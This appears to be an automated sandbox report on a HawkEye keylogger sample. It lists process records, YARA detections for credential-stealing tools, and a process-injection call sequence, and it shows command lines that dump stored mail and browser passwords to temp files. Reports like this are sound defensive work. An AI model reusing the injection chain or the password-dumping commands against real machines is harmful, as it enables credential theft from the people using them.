                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Reputation:high

                                                                                                            General

                                                                                                            Target ID:4
                                                                                                            Start time:08:12:30
                                                                                                            Start date:14/02/2022
                                                                                                            Path:C:\Users\user\AppData\Roaming\name.exe
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:"C:\Users\user\AppData\Roaming\name.exe"
                                                                                                            Imagebase:0xa40000
                                                                                                            File size:1244160 bytes
                                                                                                            MD5 hash:91DE6EFC69676A4DD4CED5E2111AB489
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
                                                                                                            Programmed in:.Net C# or VB.NET
                                                                                                            Yara matches:
                                                                                                            • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.453452325.00000000024EA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            • Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            Antivirus matches:
                                                                                                            • Detection: 100%, Avira
                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                            Reputation:low

                                                                                                            General

                                                                                                            Target ID:5
                                                                                                            Start time:08:12:37
                                                                                                            Start date:14/02/2022
                                                                                                            Path:C:\Users\user\AppData\Roaming\name.exe
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:C:\Users\user\AppData\Roaming\name.exe
                                                                                                            Imagebase:0xa40000
                                                                                                            File size:1244160 bytes
                                                                                                            MD5 hash:91DE6EFC69676A4DD4CED5E2111AB489
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
                                                                                                            Programmed in:.Net C# or VB.NET
                                                                                                            Yara matches:
                                                                                                            • Rule: HKTL_NET_GUID_Stealer, Description: Detects c# red/black-team tools via typelibguid, Source: 00000005.00000002.699519732.0000000000500000.00000004.08000000.00040000.00000000.sdmp, Author: Arnim Rupp
                                                                                                            • Rule: HKTL_NET_GUID_Stealer, Description: Detects c# red/black-team tools via typelibguid, Source: 00000005.00000002.699538666.00000000005E0000.00000004.08000000.00040000.00000000.sdmp, Author: Arnim Rupp
                                                                                                            • Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            • Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            • Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            • Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            • Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            Reputation:low

                                                                                                            General

                                                                                                            Target ID:6
                                                                                                            Start time:08:12:46
                                                                                                            Start date:14/02/2022
                                                                                                            Path:C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holdermail.txt"
                                                                                                            Imagebase:0x400000
                                                                                                            File size:1170056 bytes
                                                                                                            MD5 hash:1672D0478049ABDAF0197BE64A7F867F
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Yara matches:
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000006.00000000.469531152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000006.00000000.469096396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000006.00000000.470024766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            Reputation:moderate

                                                                                                            General

                                                                                                            Target ID:7
                                                                                                            Start time:08:12:46
                                                                                                            Start date:14/02/2022
                                                                                                            Path:C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\user\AppData\Local\Temp\holderwb.txt"
                                                                                                            Imagebase:0x400000
                                                                                                            File size:1170056 bytes
                                                                                                            MD5 hash:1672D0478049ABDAF0197BE64A7F867F
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Yara matches:
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000007.00000000.473273720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            Reputation:moderate

                                                                                                            Disassembly

                                                                                                            Reset < >

                                                                                                              Execution Graph

                                                                                                              Execution Coverage:13.8%
                                                                                                              Dynamic/Decrypted Code Coverage:100%
                                                                                                              Signature Coverage:0%
                                                                                                              Total number of Nodes:35
                                                                                                              Total number of Limit Nodes:1
                                                                                                              execution_graph 11521 197ed0 11522 197f1d VirtualProtect 11521->11522 11523 197f89 11522->11523 11524 750048 11525 7500cf CreateProcessA 11524->11525 11527 750324 11525->11527 11528 750508 11529 75052a 11528->11529 11530 750768 11529->11530 11532 757088 11529->11532 11533 757094 11532->11533 11534 7570d9 11533->11534 11538 757a6b 11533->11538 11542 7576a6 11533->11542 11551 757b2a 11533->11551 11534->11529 11539 757a8c 11538->11539 11540 7578bf 11538->11540 11555 76f700 11539->11555 11540->11534 11559 76fa08 11542->11559 11545 757970 11567 76f820 11545->11567 11549 76fb58 WriteProcessMemory 11549->11545 11552 757b30 11551->11552 11571 76fce0 11552->11571 11556 76f744 ResumeThread 11555->11556 11558 76f790 11556->11558 11558->11540 11560 76fa4c VirtualAllocEx 11559->11560 11562 7576c4 11560->11562 11563 76fb58 11562->11563 11564 76fba4 WriteProcessMemory 11563->11564 11566 757724 11564->11566 11566->11549 11568 76f869 Wow64SetThreadContext 11567->11568 11570 757d8c 11568->11570 11572 76fd2c ReadProcessMemory 11571->11572 11574 757c40 11572->11574

                                                                                                              Executed Functions

                                                                                                              Function 00193007 Relevance: 9.0, Strings: 7, Instructions: 220COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 0 193007-193010 1 193012-193035 0->1 2 193037-193075 0->2 1->2 4 19307c-193099 2->4 5 193077 2->5 6 1930a1 4->6 5->4 7 1930a8-1930c4 6->7 8 1930cd-1930ce 7->8 9 1930c6 7->9 10 1930d3-1930e5 8->10 11 1934c7-1934ce 8->11 9->6 9->10 12 19325e-193276 9->12 13 193431-193448 9->13 14 19318a-1931aa 9->14 15 19330a-19332a 9->15 16 19344d-193451 9->16 17 19320d-193219 9->17 18 19310f-193124 9->18 19 19332f-193348 call 193691 9->19 20 193381-19338a 9->20 21 193365-19337c 9->21 22 193244-193259 9->22 23 193407-19342c 9->23 24 1930e7-1930f9 9->24 25 193126-193144 9->25 10->7 32 193278 12->32 33 19327d-19328f 12->33 13->7 14->7 15->7 28 193453-193462 16->28 29 193464-19346b 16->29 30 19321b 17->30 31 193220-19323f 17->31 18->7 36 19334e-193360 19->36 26 19339d-1933a4 20->26 27 19338c-19339b 20->27 21->7 22->7 23->7 24->7 25->7 37 1933ab-1933b1 26->37 27->37 34 193472-193478 28->34 29->34 30->31 31->7 32->33 33->7 34->7 36->7 37->7
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: q"LD$r#HS$r#HS$r#HS$S?2$S?2$S?2
                                                                                                              • API String ID: 0-2581025826
                                                                                                              • Opcode ID: ad584c616d6507c9697467bb9165d73accb696bf6fbf542588d9e891de7f8e7b
                                                                                                              • Instruction ID: 205913b06bc196555a2729fd0eadf7703dffd85fb8e5ef475c3dce991bf40b6f
                                                                                                              • Opcode Fuzzy Hash: ad584c616d6507c9697467bb9165d73accb696bf6fbf542588d9e891de7f8e7b
                                                                                                              • Instruction Fuzzy Hash: 17919F70D0520ADFCB08CFA5D8854AEFFB2FF8A300B65856AD415EB264D7349A46CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00193050 Relevance: 9.0, Strings: 7, Instructions: 202COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 44 193050-193075 45 19307c-193099 44->45 46 193077 44->46 47 1930a1 45->47 46->45 48 1930a8-1930c4 47->48 49 1930cd-1930ce 48->49 50 1930c6 48->50 51 1930d3-1930e5 49->51 52 1934c7-1934ce 49->52 50->47 50->51 53 19325e-193276 50->53 54 193431-193448 50->54 55 19318a-1931aa 50->55 56 19330a-19332a 50->56 57 19344d-193451 50->57 58 19320d-193219 50->58 59 19310f-193124 50->59 60 19332f-193348 call 193691 50->60 61 193381-19338a 50->61 62 193365-19337c 50->62 63 193244-193259 50->63 64 193407-19342c 50->64 65 1930e7-1930f9 50->65 66 193126-193144 50->66 51->48 73 193278 53->73 74 19327d-19328f 53->74 54->48 55->48 56->48 69 193453-193462 57->69 70 193464-19346b 57->70 71 19321b 58->71 72 193220-19323f 58->72 59->48 77 19334e-193360 60->77 67 19339d-1933a4 61->67 68 19338c-19339b 61->68 62->48 63->48 64->48 65->48 66->48 78 1933ab-1933b1 67->78 68->78 75 193472-193478 69->75 70->75 71->72 72->48 73->74 74->48 75->48 77->48 78->48
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: q"LD$r#HS$r#HS$r#HS$S?2$S?2$S?2
                                                                                                              • API String ID: 0-2581025826
                                                                                                              • Opcode ID: 1a7ecbb55d013ffc3084b02d5628fae717021a6f2776a8128abf29804d19e709
                                                                                                              • Instruction ID: f492a3581b80b530339161150d4f9f0e3c2f1c76a3a8b436769eda8abb897988
                                                                                                              • Opcode Fuzzy Hash: 1a7ecbb55d013ffc3084b02d5628fae717021a6f2776a8128abf29804d19e709
                                                                                                              • Instruction Fuzzy Hash: 99914C74E0520ADFCB08CFA5D5858AEFBB2FF89300F659569D426EB214D7349A42CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00193149 Relevance: 8.9, Strings: 7, Instructions: 172COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 85 193149-193155 86 19315c-19316e 85->86 87 193157 85->87 89 1930a8-1930c4 86->89 90 19318a-1931aa 86->90 87->86 91 1930cd-1930ce 89->91 92 1930c6 89->92 90->89 94 1930d3-1930e5 91->94 95 1934c7-1934ce 91->95 92->90 92->94 96 19325e-193276 92->96 97 193431-193448 92->97 98 19330a-19332a 92->98 99 19344d-193451 92->99 100 19320d-193219 92->100 101 19310f-193124 92->101 102 19332f-193348 call 193691 92->102 103 1930a1 92->103 104 193381-19338a 92->104 105 193365-19337c 92->105 106 193244-193259 92->106 107 193407-19342c 92->107 108 1930e7-1930f9 92->108 109 193126-193144 92->109 94->89 116 193278 96->116 117 19327d-19328f 96->117 97->89 98->89 112 193453-193462 99->112 113 193464-19346b 99->113 114 19321b 100->114 115 193220-19323f 100->115 101->89 122 19334e-193360 102->122 103->89 110 19339d-1933a4 104->110 111 19338c-19339b 104->111 105->89 106->89 107->89 108->89 109->89 123 1933ab-1933b1 110->123 111->123 119 193472-193478 112->119 113->119 114->115 115->89 116->117 117->89 119->89 122->89 123->89
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: q"LD$r#HS$r#HS$r#HS$S?2$S?2$S?2
                                                                                                              • API String ID: 0-2581025826
                                                                                                              • Opcode ID: f8bb8f00556c05189dd580ac3fa6e5260da7e47931d9c9f0ed801c919c20ec10
                                                                                                              • Instruction ID: 5c2809a2dd6eb008f6ca03204e117d300ef241140021bc303d079f5d4369cab2
                                                                                                              • Opcode Fuzzy Hash: f8bb8f00556c05189dd580ac3fa6e5260da7e47931d9c9f0ed801c919c20ec10
                                                                                                              • Instruction Fuzzy Hash: 3A714A74E1520ADFCB08CFA5D4858AEFBB2FF89300B659569D426E7214D734EA42CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00193401 Relevance: 8.9, Strings: 7, Instructions: 166COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 245 193401-193403 246 193407-19342c 245->246 248 1930a8-1930c4 246->248 249 1930cd-1930ce 248->249 250 1930c6 248->250 251 1930d3-1930e5 249->251 252 1934c7-1934ce 249->252 250->246 250->251 253 19325e-193276 250->253 254 193431-193448 250->254 255 19318a-1931aa 250->255 256 19330a-19332a 250->256 257 19344d-193451 250->257 258 19320d-193219 250->258 259 19310f-193124 250->259 260 19332f-193348 call 193691 250->260 261 1930a1 250->261 262 193381-19338a 250->262 263 193365-19337c 250->263 264 193244-193259 250->264 265 1930e7-1930f9 250->265 266 193126-193144 250->266 251->248 273 193278 253->273 274 19327d-19328f 253->274 254->248 255->248 256->248 269 193453-193462 257->269 270 193464-19346b 257->270 271 19321b 258->271 272 193220-19323f 258->272 259->248 279 19334e-193360 260->279 261->248 267 19339d-1933a4 262->267 268 19338c-19339b 262->268 263->248 264->248 265->248 266->248 280 1933ab-1933b1 267->280 268->280 275 193472-193478 269->275 270->275 271->272 272->248 273->274 274->248 275->248 279->248 280->248
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: q"LD$r#HS$r#HS$r#HS$S?2$S?2$S?2
                                                                                                              • API String ID: 0-2581025826
                                                                                                              • Opcode ID: f0bc77cab1204de615738b314d6e5ce89fac76e32751c13afbf39f611ed05a6f
                                                                                                              • Instruction ID: f9ab1d8888344ed59a0281ab2b134d6eee567a9296192340f36f19d1750be941
                                                                                                              • Opcode Fuzzy Hash: f0bc77cab1204de615738b314d6e5ce89fac76e32751c13afbf39f611ed05a6f
                                                                                                              • Instruction Fuzzy Hash: ED714B74E0520ADFCB08CFA5D4858AEFBB2FF89300B659569D426EB254D734DA42CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 001930FC Relevance: 8.9, Strings: 7, Instructions: 166COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 127 1930fc-19310d 128 1930a8-1930c4 127->128 129 19310f-193124 127->129 130 1930cd-1930ce 128->130 131 1930c6 128->131 129->128 132 1930d3-1930e5 130->132 133 1934c7-1934ce 130->133 131->129 131->132 134 19325e-193276 131->134 135 193431-193448 131->135 136 19318a-1931aa 131->136 137 19330a-19332a 131->137 138 19344d-193451 131->138 139 19320d-193219 131->139 140 19332f-193348 call 193691 131->140 141 1930a1 131->141 142 193381-19338a 131->142 143 193365-19337c 131->143 144 193244-193259 131->144 145 193407-19342c 131->145 146 1930e7-1930f9 131->146 147 193126-193144 131->147 132->128 154 193278 134->154 155 19327d-19328f 134->155 135->128 136->128 137->128 150 193453-193462 138->150 151 193464-19346b 138->151 152 19321b 139->152 153 193220-19323f 139->153 158 19334e-193360 140->158 141->128 148 19339d-1933a4 142->148 149 19338c-19339b 142->149 143->128 144->128 145->128 146->128 147->128 159 1933ab-1933b1 148->159 149->159 156 193472-193478 150->156 151->156 152->153 153->128 154->155 155->128 156->128 158->128 159->128
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: q"LD$r#HS$r#HS$r#HS$S?2$S?2$S?2
                                                                                                              • API String ID: 0-2581025826
                                                                                                              • Opcode ID: 0770f251a8e38d5b22ababec9d6c19db2da40513a86402be6a503a82105236f3
                                                                                                              • Instruction ID: d34c3bbbe399ce3c319ec7dac55135e82a7413950380a3b921398d9fe89f8774
                                                                                                              • Opcode Fuzzy Hash: 0770f251a8e38d5b22ababec9d6c19db2da40513a86402be6a503a82105236f3
                                                                                                              • Instruction Fuzzy Hash: 48712874E1520ADFCB08CFA5D4858AEFBB2FF89300B659529D426E7224D734DA42CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00193174 Relevance: 8.9, Strings: 7, Instructions: 166COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 166 193174-193185 167 1930a8-1930c4 166->167 168 19318a-1931aa 166->168 169 1930cd-1930ce 167->169 170 1930c6 167->170 168->167 172 1930d3-1930e5 169->172 173 1934c7-1934ce 169->173 170->168 170->172 174 19325e-193276 170->174 175 193431-193448 170->175 176 19330a-19332a 170->176 177 19344d-193451 170->177 178 19320d-193219 170->178 179 19310f-193124 170->179 180 19332f-193348 call 193691 170->180 181 1930a1 170->181 182 193381-19338a 170->182 183 193365-19337c 170->183 184 193244-193259 170->184 185 193407-19342c 170->185 186 1930e7-1930f9 170->186 187 193126-193144 170->187 172->167 194 193278 174->194 195 19327d-19328f 174->195 175->167 176->167 190 193453-193462 177->190 191 193464-19346b 177->191 192 19321b 178->192 193 193220-19323f 178->193 179->167 200 19334e-193360 180->200 181->167 188 19339d-1933a4 182->188 189 19338c-19339b 182->189 183->167 184->167 185->167 186->167 187->167 201 1933ab-1933b1 188->201 189->201 197 193472-193478 190->197 191->197 192->193 193->167 194->195 195->167 197->167 200->167 201->167
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: q"LD$r#HS$r#HS$r#HS$S?2$S?2$S?2
                                                                                                              • API String ID: 0-2581025826
                                                                                                              • Opcode ID: 14f860bbf38e351370a59a5e2fa6977eee69dd7403bc520f88c14a1671e14cd6
                                                                                                              • Instruction ID: 03ad10a2624e325dd3e22df8c96aa0bc058954a2767067e3ce1367592aa13d15
                                                                                                              • Opcode Fuzzy Hash: 14f860bbf38e351370a59a5e2fa6977eee69dd7403bc520f88c14a1671e14cd6
                                                                                                              • Instruction Fuzzy Hash: 46714A74E1520ADFCB08CFA5D5858AEFBB2FF89340B659529D026EB214D734DA42CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 001933F4 Relevance: 8.9, Strings: 7, Instructions: 166COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 205 1933f4-1933fc 206 1933fe 205->206 207 193431-193448 205->207 209 193407-19342c 206->209 208 1930a8-1930c4 207->208 210 1930cd-1930ce 208->210 211 1930c6 208->211 209->208 213 1930d3-1930e5 210->213 214 1934c7-1934ce 210->214 211->207 211->209 211->213 215 19325e-193276 211->215 216 19318a-1931aa 211->216 217 19330a-19332a 211->217 218 19344d-193451 211->218 219 19320d-193219 211->219 220 19310f-193124 211->220 221 19332f-193348 call 193691 211->221 222 1930a1 211->222 223 193381-19338a 211->223 224 193365-19337c 211->224 225 193244-193259 211->225 226 1930e7-1930f9 211->226 227 193126-193144 211->227 213->208 234 193278 215->234 235 19327d-19328f 215->235 216->208 217->208 230 193453-193462 218->230 231 193464-19346b 218->231 232 19321b 219->232 233 193220-19323f 219->233 220->208 240 19334e-193360 221->240 222->208 228 19339d-1933a4 223->228 229 19338c-19339b 223->229 224->208 225->208 226->208 227->208 241 1933ab-1933b1 228->241 229->241 236 193472-193478 230->236 231->236 232->233 233->208 234->235 235->208 236->208 240->208 241->208
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
